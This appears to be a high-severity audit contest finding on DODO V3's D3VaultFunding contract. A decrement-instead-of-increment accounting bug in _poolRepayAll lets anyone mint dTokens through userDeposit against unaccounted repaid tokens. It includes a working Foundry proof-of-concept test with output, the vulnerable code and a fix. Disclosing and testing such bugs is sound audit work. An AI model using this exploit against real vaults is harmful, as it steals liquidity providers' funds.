0xkaden

high

# Incorrect accounting in `D3VaultFunding._poolRepayAll` allows attacker to steal double the tokens repaid by the pool

## Summary
During `D3VaultFunding._poolRepayAll` execution, tokens are transferred from the pool to the vault, but contrary to intention, the accounted balance of tokens in the vault is decremented by the amount in which it should be incremented. This causes the accounted balance to be less than the actual balance by double the amount of tokens repaid. Unaccounted tokens can be stolen by calling `D3VaultFunding.userDeposit` for the corresponding token, which then applies the difference between it's last accounted balance and actual balance as a deposit on the users behalf, granting them dTokens which they can later withdraw for the underlying tokens.

## Vulnerability Detail
D3VaultFunding.userDeposit checks the actual token balance of the contract and the last accounted balance of the contract, and assumes those tokens were sent by the user, granting the user corresponding dTokens.

Anytime the actual balance of the contract is greater than the last accounted balance, it's possible to call this function and receive dTokens corresponding to the underlying tokens.

Since `D3VaultFunding._poolRepayAll` incorrectly accounts for the added tokens in the opposite directions, the amount of difference in actual and accounted tokens will be double the amount of tokens repaid during the function execution.

We can update `testPoolRepay` in `D3VaultFunding.t.sol` as follows to test the exploit:

```solidity
function testPoolRepay() public {
    vm.prank(user1);
    token1.approve(address(dodoApprove), type(uint256).max);

    mockUserQuota.setUserQuota(user1, address(token1), 1000 * 1e8);
    vm.prank(user1);
    d3Proxy.userDeposit(user1, address(token1), 500 * 1e8);

    token1.mint(address(d3MM), 100 * 1e8);
    poolBorrow(address(d3MM), address(token1), 100 * 1e8);

    // user1 deposit 500 into vault
    // pool has 100 as collateral, then borrow 100
    // utilization ratio = borrow / (cash + borrows) = 100 / 500 = 20%
    // borrowRate = 20% + 1 * 20% = 40%
    uint256 totalBorrows = d3Vault.getTotalBorrows(address(token1));
    assertEq(totalBorrows, 100 * 1e8);
    uint256 utilizationRatio = d3Vault.getUtilizationRatio(address(token1));
    assertEq(utilizationRatio, 20 * 1e16);
    uint256 borrowRate = d3Vault.getBorrowRate(address(token1));
    assertEq(borrowRate, 40 * 1e16);

    // pass one year
    vm.warp(31536000 + 1);

    // after one year, the compound interst is (1 + 0.4/31536000)^31536000 = 1.491824694
    uint256 compoundInterestRate = d3Vault.getCompoundInterestRate(borrowRate / 31536000, 31536000);
    assertEq(compoundInterestRate, 1479561541141168000);

    vm.startPrank(address(d3MM));
    uint256 newBorrows = d3Vault.getPoolBorrowAmount(address(d3MM), address(token1));
    assertEq(newBorrows, 14795615411);

    token1.approve(address(d3Vault), type(uint256).max);
    d3Vault.poolRepay(address(token1), 100 * 1e8);
    
    uint256 newBorrows2 = d3Vault.getPoolBorrowAmount(address(d3MM), address(token1));
    assertEq(newBorrows2, 4795615410);

    // case: repay more than borrows
    vm.expectRevert(bytes(Errors.AMOUNT_EXCEED));
    d3Vault.poolRepay(address(token1), 4795615410 + 1);

    d3Vault.poolRepayAll(address(token1));
    uint256 newBorrows3 = d3Vault.getPoolBorrowAmount(address(d3MM), address(token1));
    assertEq(newBorrows3, 0);

    vm.stopPrank();

    uint256 actualBalance = MockERC20(token1).balanceOf(address(d3Vault));
    (, uint256 expectedBalance,,,,,,,,,,) = d3Vault.assetInfo(address(token1));
    console.log("expectedBalance: %s", expectedBalance);
    console.log("actualBalance: %s", actualBalance);

    (address dToken1,,,,,,,,,,) = d3Vault.getAssetInfo(address(token1));

    uint256 dTokenBalanceBefore = D3Token(dToken1).balanceOf(user1);

    mockUserQuota.setUserQuota(user1, address(token1), 1000 * 1e18);
    vm.prank(user1);
    d3Vault.userDeposit(user1, address(token1));

    uint256 dTokenBalanceAfter = D3Token(dToken1).balanceOf(user1);

    console.log("dToken balance increase: %s", dTokenBalanceAfter - dTokenBalanceBefore);
}
```

We can see from the test output that the actual balance is significantly higher than the accounted balance and that the attacker successfully receives dTokens for calling `D3VaultFunding.userDeposit`:

```solidity
expectedBalance: 45204384590
actualBalance: 54795615410
dToken balance increase: 10838709607
```

## Impact

Anytime tokens are repaid using `D3VaultFunding._poolRepayAll`, double the amount of tokens repaid will be stolen, causing a deficit in the vault for which vault liquidity providers will suffer from a loss of funds.

## Code Snippet

[`D3VaultFunding._poolRepayAll`](https://github.com/sherlock-audit/2023-06-dodo/blob/main/new-dodo-v3/contracts/DODOV3MM/D3Vault/D3VaultFunding.sol#L117)
```solidity
function _poolRepayAll(address pool, address token) internal {
    accrueInterest(token);

    AssetInfo storage info = assetInfo[token];
    BorrowRecord storage record = info.borrowRecord[pool];
    uint256 amount = record.amount.div(record.interestIndex == 0 ? 1e18 : record.interestIndex).mul(info.borrowIndex);

    uint256 interests = amount;

    record.amount = 0;
    record.interestIndex = info.borrowIndex;
    info.totalBorrows = info.totalBorrows - amount;
    info.balance = info.balance - amount;
    IERC20(token).safeTransferFrom(pool, address(this), amount);

    emit PoolRepay(pool, token, amount, interests);
}
```

## Tool used

- Manual Review
- forge

## Recommendation
It is recommended that the balance be properly incremented rather than decremented in `D3VaultFunding._poolRepayAll`. Additionally, it's recommended that either:

- The flow of applying the difference in actual and accounted balance is removed in favour of the use of a `safeTransferFrom` instead or
- `D3VaultFunding.userDeposit` is only allowed to be called by a validated proxy